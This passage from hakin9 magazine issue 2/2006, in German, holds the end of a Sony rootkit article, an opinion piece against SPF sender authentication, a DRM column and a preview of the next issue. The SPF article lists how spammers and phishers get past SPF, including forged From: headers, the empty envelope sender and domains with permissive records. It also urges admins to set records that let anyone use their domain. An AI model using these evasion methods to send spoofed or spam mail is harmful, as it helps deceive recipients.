Vergessenheit geraten, obwohl die Aufrufe zum Boykott des Unternehmens und dessen Produkte ziemlich laut waren. Es ist aber letztendlich richtig, wenn die Technologie nicht alles dominiert – denn viel wichtiger ist die Überzeugung, dass wir uns für eine richtige Sache einsetzen. Viele Blogs, aktive Newsserver und Diskussionsgruppen, haben die Idee, die von Mark Russinovich auf eine professionelle Art und Weise zum Ausdruck gebracht wurde, schnell aufgegriffen. Mit ein wenig Engagement sind wir imstande, die Aufmerksamkeit von Medien auf unsere Stimme zu ziehen – trotz vieler Versuche, uns diese Stimme wegzunehmen. Hoffen wir, dass die Geschichte mit dem Rootkit ein Happy-End haben wird und den Kunden und Organisationen gewaltige Entschädigungen zugesprochen werden. Dies wäre eine Warnung für alle anderen Firmen, die uns unserer Privatsphäre berauben wollen. Machen wir uns aber keine falschen Hoffnungen: der Kampf um sie wird nie aufhören. Je besser wir kooperieren und Informationen teilen, desto besser für uns alle. l

Im Internet • • • • • • • •

http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html – Blog von Mark Russinovich, http://www.eff.org – Homepage der Electronic Frontier Foundation, http://www.doxpara.com/?q=sony – Untersuchungen von Dan Kaminsky, http://www.schneier.com – Homepage von Bruce Schneier, http://cp.sonybmg.com/xcp/english/titles.html – Liste von CDs, die mithilfe von XCP gesichert wurden, http://www.europe.f-secure.com/v-descs/xcp_drm.shtml – Analyse von XCP, http://www.f-secure.com/weblog/archives/archive-112005.html – Blog von FSecure, http://www.smartmobs.com – ein Blog, der den Ideen aus dem Buch Smart Mobs von Howard Rheingold gewidmet ist.

www.hakin9.org

Absenderauthentifizierung – Schutz oder Gefahr Umgebung Tomasz Nidecki

Schwierigkeitsgrad

Seitdem Spam, Phishing und Joe-Jobs eine steigende Bedrohung für alle Internet-Nutzer bilden, ist Absenderauthentifizierung in letzter Zeit eine wichtige Frage der E-Mailübermittlung geworden. Allerdings sorgen die als provisorische Patches für das berüchtigterweise unsichere und lückenhafte SMTP-Protokoll implementierten Lösungen eher für neue Sicherheitslecke als für die Beseitigung der bestehenden Probleme.

D

ass das SMTP-Protokoll und das System der E-Mail als solches überhaupt nicht vorbereitet sind, alltägliche Gefahren zu bekämpfen, ist eine Binsenwahrheit. Jeder der sich tiefer mit EMail beschäftigt weiß, dass jeder Versuch das System sicherer zu machen in Wirklichkeit ein schneller und provisorischer Patch ist. Die einzige Möglichkeit, Spam, Pishing, Joe-Jobs und ähnliches wirkungsvoll zu bekämpfen ist der Entwurf eines völlig neuen E-Mail Protokolles. Dennoch sind die Erfahrungen von der Einführung tief greifender Veränderungen der Internet-Infrastruktur bisher für alle Beteiligten schmerzhaft gewesen. Zum einen ist es schwierig, einen Kompromiss hinsichtlich der zu implementierenden Lösung auszuarbeiten, und auch wenn das gelingt, können praktisch nie alle Beteiligten gezwungen werden, die neue Technologie zu verwenden. Ein gutes Beispiel ist hier DNSSEC. Obwohl das DNS-Protokoll grundsätzlich unsicher ist und einer gründlichen Überholung bedarf, waren die bisherigen Versuche, besser abgesicherte Alternativen einzuführen, kaum erfolgreich.

74

hakin9 Nr. 2/2006

Kein Wunder, dass verschiedene Korrekturen erarbeitet werden, die das SMTP-Protokoll sicherer machen sollen und dass die Absenderauthentifizierung dabei der Schwerpunkt ist. Trotzdem verhalten sich die Organisationen und Firmen, die solche Arbeiten unternehmen, wie eine Katze die in den Brunnen springt weil ihr Schwanz brennt. Sie sind sich bewusst, dass etwas schnell zu tun ist, um die Verstöße zu bekämpfen, sie sind sich bewusst, dass so viele aktuelle Mechanismen wie möglich einzusetzen

In diesem Artikel erfahren Sie... • •

welche für Strategien für Absenderauthentifizierung implementiert und entwickelt werden, warum Absenderauthentifizierung nicht verwendet werden sollte, bis eine sinnvolle Lösung gefunden worden ist.

Was Sie vorher wissen/können sollten... •

www.hakin9.org

wie das SMTP-Protokoll und E-Mail im Allgemeinen funktionieren.

Pros und Kontras der Absenderauthentifizierung

Warum SPF schlecht ist •

•

•

•

SPF soll vor der Fälschung der Absenderadresse schützen. Es schützt nur die Envelope-Absenderadresse, nicht die im From:-Header. Clientsoftware (Mail User Agent) wie Outlook Express zeigt nur die ungeschützte Adresse an. Daher werden Benutzer stets ausgetrickst und bleiben vor Joe-Jobs, Fälschungen, Phishing und verschiedenartigen Scams ungeschützt. SPF soll vor Spam schützen. Eine von CipherTrust im Jahre 2004 durchgeführte Umfrage zeigt, dass mehr E-Mails an mit SPF geschützten Server von Domains mit SPF-Einträgen als von Domains ohne ankommen. Spammer haben SPF angenommen und setzen es sogar intensiver als legitime Sites ein, um die Zustellung von Spam in unsere Postfächer zu gewährleisten. SPF verstößt gegen viele Internet-Standards. Es berücksichtigt kein Pre-Delivery-Forwarding (und das SRS-Schema, das diesen Mangel beseitigen soll, ist weit von perfekt). Es stützt sich außerdem auf einem unsicheren Protokoll (DNS), was Fälschungen von SPF-Einträgen ermöglicht. SPF erweist sich als ein ineffektives Schutzmittel vor Spoofing und Spam. Es erschwert auch die Kommunikation. Warum sollten wir es also verwenden?

sind, damit der Wechsel fließend erfolgt, sie denken aber nicht an die Konsequenzen dieser Handlungen.

SPF – the good, the bad and the ugly

Eine Lösung zur Absenderauthentifizierung, die nicht nur sehr populär wurde und auch von großen populären Mailserverbetreibern implementiert wird, ist SPF. Ursprünglich stand die Abkürzung für Sender Permitted From, mit der steigenden Popularität des Projekts wurde der Begriff aber zu Sender Policy Framework geändert.

Das Konzept von SPF ist ziemlich einfach. Es wurde eine Methode zum Informieren der Server entwickelt, ob ein Server, der EMails mit einer bestimmten Envelope-Absenderadresse verwendet tatsächlich berechtigt ist, den Domainnamen aus dieser Adresse zu benutzen. Spammer haben sich seit Jahren gefälschter E-Mailadressen bedient, indem sie typischerweise existierende oder nicht existierende Accounts bei den großen kostenlosen E-Mailbetreibern wie Yahoo! oder Hotmail angegeben haben. Das SMTP-Protokoll macht solche

Was ein ISP durch den Einsatz von SFP riskiert •

•

•

•

Keine E-Mails von Accounts mit aktiviertem Pre-Delivery-Forwarding werden zugestellt. Niemand, der Pre-Delivery-Forwarding nutzt, kann mit dem Server des ISP kommunizieren (außer wenn das lückenhafte SRS implementiert ist). Administratoren der Vermittlungs-Mailserver werden mit dem ISP wütend und setzen ihn auf die schwarze Liste. Seine eigenen Nutzer werden wütend und suchen sich einen anderen Betreiber, der ihre Freunde mit ihnen kommunizieren lässt. Wenn er E-Mails von Domains ohne SPF-Einträge verwirft, gehen mehr als die Hälfte ankommender Nachrichten verloren. Administratoren von Mailservern ohne SPF-Einträge werden wütend und setzen den ISP auf eine schwarze Liste. Seine eigenen Nutzer werden wütend und suchen sich einen anderen Betreiber. Durch den Einsatz von SPF informiert er alle herum: Wenn ihr mit mir kommunizieren wollt, musst ihr zuerst Anforderungen erfüllen... Das hilft dem Geschäft nicht gerade. Er stellt andere Mailserver-Administratoren und seine Benutzer unzufrieden, ohne zugleich das Problem von Spam und Scams auf seinem Server zu lösen. Er verliert viel und gewinnt nichts.

www.hakin9.org

Fälschungen kinderleicht, da der Spammer bloß eine x-beliebige Absenderadresse vorzugeben braucht und die E-Mails werden vom Empfänger akzeptiert. Die SPF-Methode stützt sich auf der bestehenden DNS-Infrastruktur. Die DNS-Einträge für eine Domain enthalten auch die Angabe, welche Server berechtigt sind, diese Domain in der Absenderadresse zu verwenden. Der Ansatz erscheint als logisch. Ein Hotmail-Nutzer verschickt seine E-Mails wahrscheinlich über den SMTP-Server von Hotmail und nicht über den von Yahoo! (obwohl es keinen sinnvollen Grund gibt, warum er es nicht tun sollte). Die Anlehnung an die DNS-Infrastuktur erleichtert die Implementierung von SPF, da keine zusätzlichen Mechanismen ausgearbeitet zu werden brauchen.

The good

SPF erledigt das Problem des Absender-Spoofings ziemlich effektiv. Wenn eine Domain ihre SPF-Daten angibt und der Empfänger die Absenderauthentizität mit SPF prüft, wird dem Empfänger keine E-Mail mit gefälschter EnvelopeAbsenderdomain zugestellt. Wenn beispielsweise eBay einen SPFEintrag für ebay.com besitzt (was tatsächlich der Fall ist), und ein Phisher versucht, eine gefälschte E-Mail and den mit SPF geschützten Mailserver nowhere.com zu schicken (wo die Berechtigung des Absenders zur Verwendung der betreffenden Adresse überprüft wird), kommt die gefälschte E-Mail mit der falschen ebay.com-Adresse bei keinem nowhere.com-Nutzer an. Es ist allerdings auf den ersten Blick klar, dass dieser Ansatz nur erfolgreich ist, wenn alle an der E-Mailübermittlung beteiligten Domains SPF-Einträge besitzen und nur wenn alle empfangenden SMTP-Server die SPF-Autorisation überprüfen. Nicht alle Domainadministratoren sind sich aber dessen bewusst, dass sie SPF verwenden sollten (und auch wenn sie es wissen, wollen sie es nicht immer

hakin9 Nr. 2/2006

75

Umgebung

einsetzen), und nicht jede SMTPSoftware unterstützt SPF. Es gibt zwar Lösungen, die die Möglichkeiten der aktuellen Mailserver erweitern, in vielen Fällen sind es aber Korrekturen, Proxys oder AddOns, und nicht integrierte Funktionalitäten. Das kompliziert etwas die Arbeit des Administrators, der SPF als Sicherheitsmaßnahme implementieren möchte. All das macht SPF ziemlich ineffektiv als Gegenmittel gegen E-Mailadressenspoofing, und sein Grundkonzept setzt falsch an: um geschützt zu sein, müssten alle SPF und keinen anderen Mechanismus einsetzen. Und SPF ist nicht einmal ein Internet-Standard.

The bad

Eigentlich schützt SPF Endnutzer nicht vor Adressfälschungen. Es schützt überhaupt nicht vor JoeJobs oder Phishing. Der Grund dafür ist einfach, Endnutzer-Software (MUAs, Mail User Agents) zeigt die E-Mailadresse des Absenders anhand des From:-Headers, und nicht der Envelope-Adresse an (die im Return-Path:-Header der empfangenen E-Mail aufbewahrt wird). Ein Scammer kann eine gültige Envelope-Absenderadresse und eine gefälschte From:-Adresse (bspw. [email protected]) im Payload der E-Mail angeben. Ein mit SPF geschützter Mailserver ist gezwungen, solch eine Nachricht zuzustellen. Anderenfalls müsst er auch alle EMails von Mailinglisten ablehnen. Und der Endnutzer sieht sowieso die gefälschte Adresse z.B. in seinem Outlook Express. Ein weiteres Problem mit SPF ist, dass es sich trotz dem ursprünglichen Gedanken, es als Antispamsystem einzusetzen, als Gegenmaßnahme gegen Spam nicht bewährt und verdient nicht einmal den Namen eines Antispammittels. Es ist eine Maßnahme gegen Spoofing, die Domainbesitzer vor dem Ausnutzen ihrer Domainnamen zu bösartigen Zwecken schützen soll. Es kann den Empfänger davor schützen, E-Mails von gefälschten

76

hakin9 Nr. 2/2006

Wie Spammer und Scammer SPF umgehen •

• •

•

Spammer: eine Domain ohne einen SPF-Eintrag finden und in der Envelope-Absenderadresse verwenden. Der SPF-Mechanismus ist nutzlos, da die meisten mit SPF geschützten Server E-Mails von Domains ohne SPF-Einträge akzeptieren. Spammer: E-Mails mit der Envelope-Absenderadresse <> verschicken (die laut RFC akzeptiert werden muss). Spammer: eine Domain fürs Verschicken von Spam für 8 USD kaufen, einen kostenlosen DNS-Dienst nutzen, einen SPF-Eintrag für die Domain definieren, Spam verschicken. Jeglicher SPF-Schutz ist nutzlos. Scammer: eine Domain ohne einen SPF-Eintrag finden, einen nicht existierenden Account in dieser Domain als Envelope-Absenderadresse verwenden, eine falsche Adresse (bspw. [email protected]) in den From: -Header eintragen. Jeder Endnutze bekommt nur die gefälschte Adresse zu sehen.

Adressen zu bekommen (allerdings nur was die Envelope-Absenderadresse angeht). Dennoch kann es und wird es Spammer nicht davon abhalten, unsere Postfächer mit Müll zu überfluten. Um die Ursache dafür zu verstehen, müssen wir zuerst den Zustand der SPF-Implementation unter die Lupe nehmen. Sehr optimistisch für die Bedürfnisse dieses Artikels vorausgesetzt, bestehen SPF-Einträge für 50% aller Domains, die an der Übermittlung von E-Mails Teil nehmen (obwohl es zurzeit viel eher 10% sind; Ende 2004 konnte CipherTrust nur 5% Absenderdomains mit einem SPF-Eintrag zählen) und 50% von Mailservern werden mit SPF geschützt. Die geschützten Server können zwei Ansätze wählen, was die E-Mails von Domains angeht, für die noch keine SPF-Einträge bestehen. Entweder können sie alle Nachrichten von solchen Domains akzeptieren oder ablehnen. Da eine Hälfte der Domains (unserer optimistischen Schätzung nach) derartige Einträge nicht besitzt, ist es logisch, dass die Verwerfung der E-Mails durch den geschützten Server den Verlust einer Hälfte der Nachrichten zur Folge haben kann. Kein Mailserverbetreiber kann sich das leisten und es ist falsch, jemandem zu zwingen, einen SPF-Eintrag anzugeben, damit er mit anderen kommunizieren kann.

www.hakin9.org

Das würde gegen die Idee von E-Mail selbst verstoßen und SPF zu einem Monopol machen. Wir müssen auch daran denken, dass der Beispielfall auf sehr optimistischen Schätzungen basiert; in der Praxis wäre die Verwerfung aller E-Mails von Domains ohne SPF-Einträge Selbstmord für einen Mailserveradministrator – eigentlich könnte er den Server dann gleich herunterfahren. Daher nehmen wir an, dass der andere Ansatz gewählt wird und E-Mails von Domains ohne SPF-Einträge akzeptiert werden. Nun hat es ein Spammer kinderleicht, Spam an solch einen Server zu schicken. Er braucht lediglich eine Domain, eine beliebige Domain, ohne einen SPF-Eintrag zu finden und sie in der Absenderadresse zu verwenden. Die E-Mails werden durch den Zielserver akzeptiert. Weiterhin kann der Spammer die Envelope-Sonderadresse <> verwenden, die der RFC nach auch akzeptiert werden muss (und überhaupt keinen Domainnamen enthält). Schließlich kann sich der Spammer eine Domain kaufen und einen SPF-Eintrag dafür anzugeben, indem er alle sie zur Fälschung von Senderadressen nutzen lässt. Die erwähnte CipherTrust-Umfrage von 2004 hat bereits gezeigt, dass eine Hälfte aller E-Mails, die an mit SPF geschützte Server von Domains mit SPF-Einträgen... eben Spam waren!

Pros und Kontras der Absenderauthentifizierung

The ugly

Wir haben klar gesehen, dass SPF als Markenschutz wirksam sein mag (weniger Domainspoofing für diejenigen, die SPF-Einträge angeben) und völlig ineffektiv als Schutz vor Spam ist. Es hat aber auch einige wirklich unangenehmen Nachteile, die ein Serveradministrator mit einem Blick auf Logdateien der verworfenen Nachrichten bemerken kann. Das größte Problem mit SPF ist, dass es den Mechanismus des Pre-Delivery-Forwarding (siehe Abbildung 1) völlig außer Gefecht setzt. Forwarding ist seit Jahren ein Feature in fast jeder Mailserversoftware. Jeder mit SPF geschützte Mailserver muss E-Mailforwarding ablehnen, außer wenn der SPF-Eintrag der dazu verwendeten Domain jedem erlaubt, sie in der Absenderadresse zu verwenden. Und wenn für diese Domain solch ein Eintrag besteht, kann sie beliebig von Spammern und Scammern genutzt werden, was die Wirksamkeit von SPF beschränkt und das Risiko mit sich bringt, dass die Domain auf die schwarze Liste gesetzt wird. Die meisten aktuellen E-Maildienste bieten ihren Nutzern Forwarding als eins der Features. Es ist logisch – wozu sollte man Nachrichten von zehn verschiedenen Accounts separat empfangen, wenn alle an eine Adresse weitergeleitet werden können. Viele Unternehmen basieren ihren Dienst darauf, dass sie eine attraktive Domain kaufen und Nutzer kostenlose Accounts mit E-Mailforwarding registrieren lassen. Es ist auch logisch, weil die zum Aufstellen einer kostenlosen, attraktiven E-Mailadresse erforderlichen Ressourcen geringer als die für einen funktionsreichen Account sind. Daher würde SPF das Ende einer großen Sparte der Internetbranche bedeuten. Als Mittel gegen dieses Problem wurde ein fragwürdiges Schema namens SRS (Sender Rewriting Scheme) vorgelegt – es bildet allerdings nur eine minderwertige Korrektur für eine minderwertige

Abbildung 1. Warum SPF Pre-Delivery-Forwarding stört Korrektur. Das Schema schlägt vor, dass die Envelope-Absenderadresse beim Pre-Delivery-Forwarding so umgeschrieben werden sollte, dass die ursprüngliche Absenderangabe beibehalten (und beim Verwerfen wiederhergestellt) wird, während der Domainname der des Forwarding-Servers ist. Wenn beispielsweise der nowhere.comMailserver eine E-Mail von [email protected] weiterleitet, wäre die mit SRS umgeschriebene Envelope-Absenderadresse etwa S R S 0 = h a s h = t i m es t a m p = s o m e w h e r e. n e t = j o e @ n o w h e r e.c o m. Nicht nur wird sie einige Forwarding-Knoten weiter zu lang für den SMTP-Standard (der RFC 2821

www.hakin9.org

nach ist das Maximum 64 Zeichen im lokalen Teil) und daher von vielen Mailservern verworfen, sondern der Mechanismus würde erfordern, dass alle SMTP-Forwardingserver SRS implementieren, um E-Mails an die mit SPF geschützten Server weiterzuleiten. Es gibt noch mehr negative Aspekte der SPF-Verwendung. Es entfremdet das bestehende DomainEintragsformat den Zwecken, für die es entworfen wurde. Es ist nicht konform mit RFC 1123, RFC 974 und RFC 2821. Es macht mobilen Benutzern das Leben schwer, weil sie den SMTP-Server ihres ISPs statt ihren eigenen, den jeweils lokalen oder noch einen SMTP-Dienst

hakin9 Nr. 2/2006

77

Umgebung

zu nutzen zwingt. Es baut auf einem unsicheren Dienst auf (dass DNS unsicher ist, wird immer wieder bewiesen), also können SPF-Informationen sowie Domainnamen gefälscht werden (beispielsweise in einem DNS-Poisoning-Angriff). Es ist unfair, riskant und monopolistisch. Und das Schlimmste ist, dass Administratoren es wegen des Medienrummels ohne nachzudenken implementieren! Kurz und bündig also: verwenden Sie SPF nicht. Bis eine sinnvolle Lösung zur Absenderauthentifizierung erarbeitet worden ist, sind wir eben gezwungen, uns mit den Lücken des SMTP-Protokolls abzufinden. SPF zu implementieren ist eher wie das Töten von Fliegen mit Kanonen.

Die Zukunft und die Alternativen

Die Zukunft ist nicht gerade glänzend. Es gibt zwar interessante Projekte, die vielleicht schwieriger zu implementieren, aber besser durchdacht sind, letztendlich könnten wir aber doch gezwungen sein, uns mit SPF abzufinden. Und das Problem ist nicht SPF selbst (seine Entwickler sind grundsätzlich bescheiden und sind sich über seine Mängel im Bilde). Der wichtigste Grund dafür ist Microsoft. Sein Sender ID Projekt baut zum großen Teil auf dem SPFGerüst. Jeder kennt die Macht von Microsoft die mit der dominierenden Stellung auf dem IT-Markt verbunden ist. Alle von Microsoft eingeführten Produkte, egal, ob sie gut, logisch oder standardkonform sind, werden breit eingesetzt, weil sie meist in die Standardkonfiguration von Windows eingegliedert werden. Daher, sollte die nächste Generation von Windows mit integrierter Sender ID kommen, sind wir möglicherweise gezwungen Sender ID anzunehmen, um im Stande zu sein mit anderen Windows-Nutzern zu kommunizieren. Scheußlich, es wäre aber nicht das erste Mal, wo ein Zug seitens des Marktführers anderen eine schlechte Lösung statt einer guten aufgezwungen hat.

78

hakin9 Nr. 2/2006

Über den Autor

Tomasz Nidecki ist zurzeit Schlussredakteur beim hakin9 -Magazin. Er verfügt über breite Erfahrungen im IT- und Pressebereich, die er seit Mitte 80er Jahre, zuerst mit einem uralten Commodore 64 in den frühesten Rechnernetzen (BBS, Fidonet) und mit Assembler-Herumhacken zu sammeln begann. Nach IT- und Journalismusstudium an der Universität Warschau führte seine Laufbahn durch das Gebiet von IT-Presse und verschiedenen computerbezogenen Jobs. Neben seinen Aufgaben als Redakteur, Autor und Manager befasst er sich auch mit der Verwaltung von Mailservern. Die IT-bezogenen Schwerpunkte im Beruf und Hobby von Tomasz drehen sich meist um E-Mail (insbesondere um Antispamschutz). Etwa fünf Jahre lang war er in verschiedenen polnischen Antispamgruppen tätig. Er hielt Vorträge über Antispamschutz an den letzten zwei Ausgaben der IT Underground Konferenz.

Man kann immer hoffen, dass Microsoft begreift, dass Sender ID etwas Schlechtes ist und dass nach einer Alternative gesucht wird. Das ist aber nur Wunschdenken. Leider sind andere interessante Projekte auf dem Gebiet Absenderauthentifizierung nur in schmalen Kreisen bekannt und werden von Medien nicht so aggressiv wie SPF und Sender ID beworben. Auch wenn sie also besser sind, werden sie wahrscheinlich in Kurzem vergessen. DomainKeys, eine von Yahoo! entwickelte Lösung, ähnelt SPF in vielerlei Hinsicht und auch wenn sie eine zusätzliche Sicherheitsschicht mitbringt, basiert sie stets auf einem ähnlichen Ansatz, indem sie DNS bei der Distribution der E-Mails einsetzt und sogar noch

mehr Probleme verursacht. Die zusätzliche Sicherheitsschicht kommt von den privaten und öffentlichen Schlüsseln und vom Signieren der verschickten Nachrichten durch den Mailserver. Dafür verursacht DomainKeys Probleme bei Mailinglisten sowie einen enormen Overhead bei der Verarbeitung von E-Mails am Server (weil kryptografische Signaturen erstellt werden müssen). Es gibt auch andere Ideen. Beispielsweise baut Tripoli auf der Zertifizierung durch Dritte und verschiedenen Zertifizierungsstufen. Der Vorschlag sucht keine Lösungen aufzuzwingen, befindet sich aber in einem sehr frühen Entwicklungsstadium, also kann man nicht sagen, wie und wo er implementiert

Im Internet • • • • • • • • •

http://homepages.tesco.net/~J.deBoynePollard/FGA/smtp-spf-is-harmful.html – mehr darüber, warum Sie SPF aufgeben sollten, http://www.taugh.com./mp/lmap.html – warum Schemata mit designierten Absendern nachteilig sind, http://bradknowles.typepad.com/considered_harmful/2004/05/spf.html – ein interessanter Artikel über SPF-Nachteile, http://www.openspf.org/objections.html – SPF-Antworten auf einige der Vorwürfe, http://antispam.yahoo.com/domainkeys – das Absenderauthentifizierungsframework von Yahoo!, http://www.microsoft.com/mscorp/safety/technologies/Sender ID/default.mspx – das Sender-ID-Framework von Microsoft, http://www.pfir.org/tripoli-overview – TRIPOLI: An Empowered E-Mail Environment, http://www.ftc.gov/bcp/workshops/spam/Supplements/eprivacygp.pdf – ein Weißbuch zu Trusted Email Open Standard (TEOS), http://cobb.com/spam/teos.html – mehr über das TEOS-Projekt.

www.hakin9.org

Pros und Kontras der Absenderauthentifizierung

wird und ob er auch wirklich eine praktikable, sinnvolle Lösung bildet. Trotzdem sieht er ziemlich interessant aus. Ähnlich ist die Lage des Trusted Email Open Standard (TEOS), der früher als Tripoli vorgelegt wurde und sogar noch tiefer greifende Änderungen der E-Mailinfrastruktur vorschlägt. Die drei Jahre, die seit dem ersten Vorschlag abgelaufen sind, lassen vermuten, dass er als ein interessantes Gerüst für künftige Lösungen bilden könnte, die Wahrscheinlichkeit, dass er auch tatsächlich implementiert wird, ist jedoch sehr gering.

Zuerst denken, dann handeln

Die Tendenz, wo SPF durch alle bedeutenden E-Mailbetreiber implementiert wird, ist einfach erschreckend. Benutzern fehlt das

Durchsetzungsvermögen etwas dagegen zu unternehmen. Immermehr kommerzielle und kostenlose E-Maildienste geben nicht nur ihre SPF-Einträge an (was an und für sich nichts Falsches ist, das können Sie ruhig auch tun), sondern setzen es auch als Schutzmaßnahme auf ihren Servern (was schon falsch ist, da es anderen die Lösung aufzwingt). Und indem man das tut, sagt man Verwende SPF oder du kannst mit uns nicht kommunizieren. Fast wie Verwende DHL oder wir nehmen keine Pakete von dir entgegen. Was können wir dagegen unternehmen? Nun, erstens können wir lauthals gegen Lösungen plädieren, welche die dem Internet zu Grunde liegende Freiheit beschränken (allerdings nicht gegen die Entwickler der Lösung, die ein gutes Stück Arbeit geleistet haben

www.hakin9.org

und wahrscheinlich die vielen Probleme einfach nicht vorhergesehen haben). Wir könnten, wenn die mit SPF geschützten Server unsere E-Mails verwerfen, weil wir keinen SPF-Eintrag besitzen, auch ihre EMails ablehnen. Vielleicht je mehr wir verwerfen, desto mehr Kunden verlieren sie und verstehen besser, dass andere Administratoren zu zwingen, etwas zu tun, um mit ihnen kommunizieren zu dürfen, der falsche Weg ist. Schließlich können wir alle unsere SPF-Einträge so ändern, dass alle unsere Domain verwenden können, indem wir den Mechanismus des E-Mailforwarding aufrechterhalten und die Wirksamkeit von SPF an den damit geschützten Servern zugleich stark herabsetzen. Die Wahl liegt bei uns und die Zukunft des E-Mail in unseren Händen. l

hakin9 Nr. 2/2006

79

Die Zukunft der Inhalte Feuilleton Rene Heinzl

I

n den 80er Jahren war es toll für mich einen Kassettenrekorder zu besitzen, mit dem ich alle Hits aus dem Radio auf Musikkassetten aufnehmen konnte. Ein Jahr später hatte ich dann einen Kassettenrekorder mit zwei Kassettendecks und damit hatte ich schon die Möglichkeit eine Kassette zu kopieren. Mit einfacher Geschwindigkeit. Ein Sprung ins Jahre 1999: Napster war geboren. Es eröffnete die Möglichkeit Musikstücke im Internet schnell und einfach zu tauschen. Aber die großen Musikkonzerne haben das Problem sofort erkannt. Seit damals wurden verschiedenste Verfahren entwickelt um den mündigen User in seinen Möglichkeiten einzuschränken, Audio- und Video-Material zu benutzen, für die er bezahlt hat und deshalb auch rechtlich dazu befugt ist. Die Geschichte des Copyright begann mit The Statute of Anne, dem ersten Copyright Gesetz der Welt, erlassen vom britischen Parlament 1709. Die moderne Fassung dieses Copyright Konzepts nennt sich DRM (digital rights management). Zu einer starken Umverteilung im Kräftegleichgewicht zugunsten der großen Konzerne kam es durch den USA DMCA (digital millennium copyright act) im Jahre 1998, der es verbietet ein kopiergeschütztes Medium zu kopieren. Eine der treibenden Kräfte für diese neue Entwicklung ist die breite Verfügbarkeit von digitalen Systemen, die das verlustfreie vervielfältigen und den Transfer von Informationen von einer Maschine zu einer anderen in kurzer Zeit vereinfachen. Im Jahr 2003 überquerte diese Bewegung die Grenzen Europas, und Deutschland übernahm dieses neue Konzept, die Einschränkung der Nutzung von Inhalten, in die lokalen Gesetze. Mit dem DMCA ist es illegal einen Kopierschutz zu umgehen. Es ist klar zu erkennen, dass dieses Konzept viele Nebeneffekte hervorruft: z.B. kann es rechtswidrig sein, wenn ein Lehrer einen Auschnitt aus einem DVD-Film verwendet um diesen den Schülern zu zeigen oder in seinem Lehrmaterial verwendet, genauso wie es rechtswidrig sein kann, wenn ein Verbraucher eine Sicherheitskopien anlegt oder eine TV-Show zeitversetzt ansieht. Der nächste logische Schritt für die Industrie ist die Integration von DRM Funktionalität in Hard- und Software. Ein Beispiel für diese Bemühungen ist der Versuch DRM in Windows Vista (ehemals Palladium) einzubauen, um einen komplett sicheren Weg für den Inhalt vom Medium bis zur Anzeige garantieren zu können. Aber wie wir wissen ist Soft- und Hardware nicht perfekt. Was würde passieren

80

hakin9 Nr. 2/2006

wenn ein Chip innerhalb des sicheren Pfades kaputt geht oder gehackt wird? Was passiert wenn der Inhalt von CDs und DVDs aufgrund der begrenzten Lebensdauer dieser Medien beschädigt wird? Sehen wir uns an, wie große und angesehen Firmen das DRM Konzept umsetzen. Der erst kürzlich aufgetauchte Fall von SonyBMG ist ein ausgezeichnetes Beispiel wie ignorant und realitätsfern die Industrie sein kann. Eine Audio-CD installiert ein sogenanntes Root-Kit im Hintergrund eines Windows Systems, ohne den Anwender darüber zu informieren oder ihn um Erlaubnis zu fragen. Weiters beklagt sich so ein großer Konzern, dass sie ihr geistiges Eigentum schützen wollen und auf der anderen Seite verwenden Sie angeblich die Arbeit von anderen Leuten für ihre eigenen Zwecke. Widerum muss eine Frau aus Amerika 22.500 US-Dollar für 30 Songs zahlen, die sie mit dem Kazaa P2P Programm heruntergeladen hat. Wie kann das gerecht sein? Welche Summe sollte von einer Firma wie SonyBMG verlangt werden, wenn sie jeden Computer infizieren der ihre Audio-CD benutzt hat? Warum sehen die großen Musik- und Film-Konzerne nicht, dass es auch andere Wege gibt um zu ihrem Recht und insbesondere auch an ihr Geld zu kommen? Apple hat mit dem iTunes Programm und den iPods bewiesen, dass Musik auf klevere und günstige Weise verkauft werden kann. Auch dabei kam anfangs DRM zum Einsatz, wurde aber nach einigen Tagen geknackt. Wir Verbraucher wollen für die Inhalte zahlen. Aber wir wollen nicht gleich als Verbrecher dargestellt werden, wenn wir eine CD oder DVD auf unseren USB-Stick kopieren. Wenn das gesamte Geld, dass in die Entwicklung neuer Schutzmaßnahmen gesteckt wird, für die Entwicklung neuer Märkte und Absatzwege aufgewendet werden würde, hätten beide Seiten viel mehr davon als wir uns jetzt vorstellen können. l

Über den Autor

Rene Heinzl ist derzeit als Universitäts-Assistent an der Technischen Universität Wien angestellt. Er betreibt Forschung in Sachen Scientific Computing, Halbleiter-Simulation und generischer und funktionaler Programmierung und hat bereits mehr als zehn wissenschaftliche Arbeiten über Halbleiter-Simulations-Techniken, mathematischen Diskretisierungs-Techiken, Fehler Abschätzung und apdativen Meshing-Techniken veröffentlicht. Seine Doktorarbeit handelt über multidimensionales Software Engineering für High-Performance Scientific Computing.

www.hakin9.org

hakin9 3/2006

In der kommenden Ausgabe u.a.: Ankündigungen

Shatter attack – Missbrauch von Windows-Nachrichten Fokus

Als der Windows-Mechanismus zur Steuerung der grafischen Oberfläche entworfen wurde, hat man sich kaum Gedanken über die Sicherheit gemacht. Daher kann er jetzt problemlos von einem Eindringling ausgenutzt werden, um Einschränkungen (beispielsweise Firewalls) zu umgehen oder um höhere Privilegien im System zu erlangen. Krzysztof Wilkos beschreibt diese Art von Angriffen, den sogenannten Shatter Attacks vom praktischen Gesichtspunkt aus.

Aufspüren von Schwachstellen in quellgeschlossener Software Praxis

Schwachstellen in Anwendungen zu erkennen, deren Code nicht öffentlich zugänglich ist, ist eine komplizierte Aufgabe. Ohne zum Quelltext greifen zu können, haben wir es schwer, einen potenziellen Angriffspunkt zu ermitteln. Bernhard Mueller zeigt, wie sein Team eine Schwachstelle in Macromedia Flash Player aufgespürt hat. Er präsentiert die eingesetzten Techniken und Tools und zeigt, wie man solch eine Analyse durchführt.

Sammeln von Informationen für Penetrationstests Techniken

Die erste und eine der wichtigsten Phasen eines Penetrationstests ist das passive und semiaktive Sammeln von Informationen über das potenzielle Opfer. Diese Aufgabe müssen wir ähnlich wie der Angreifer angehen – wir wollen nicht nur wissen, was für Systeme beim potenziellen Opfer arbeiten und was für Dienste sie anbieten, sondern auch so viele Informationen wie möglich über das Opfer selbst sammeln. Błażej Kantak zeigt, wie verschiedene Techniken von whois und DNS bis hin zu Suchmaschinen und der Untersuchung der Website des Opfers eingesetzt werden können, um die erforderlichen Informationen zu ergattern.

Rootkit für Linux mit dem 2.6-Kern

Rootkits für Linux mit dem 2.6-Kern unterscheiden sich von denen für 2.4. Pablo Fernandez beschreibt detailliert, wie solch ein Rootkit vorbereitet wird. Softwareentwicklung Er zeigt, wie Systemaufrufe, VFS und proc_fs ausgenutzt, Kernelmodule, Prozesse, Netzwerkverbindungen und Dateien versteckt und Root-Berechtigungen an den Rootkitprozess verliehen werden können.

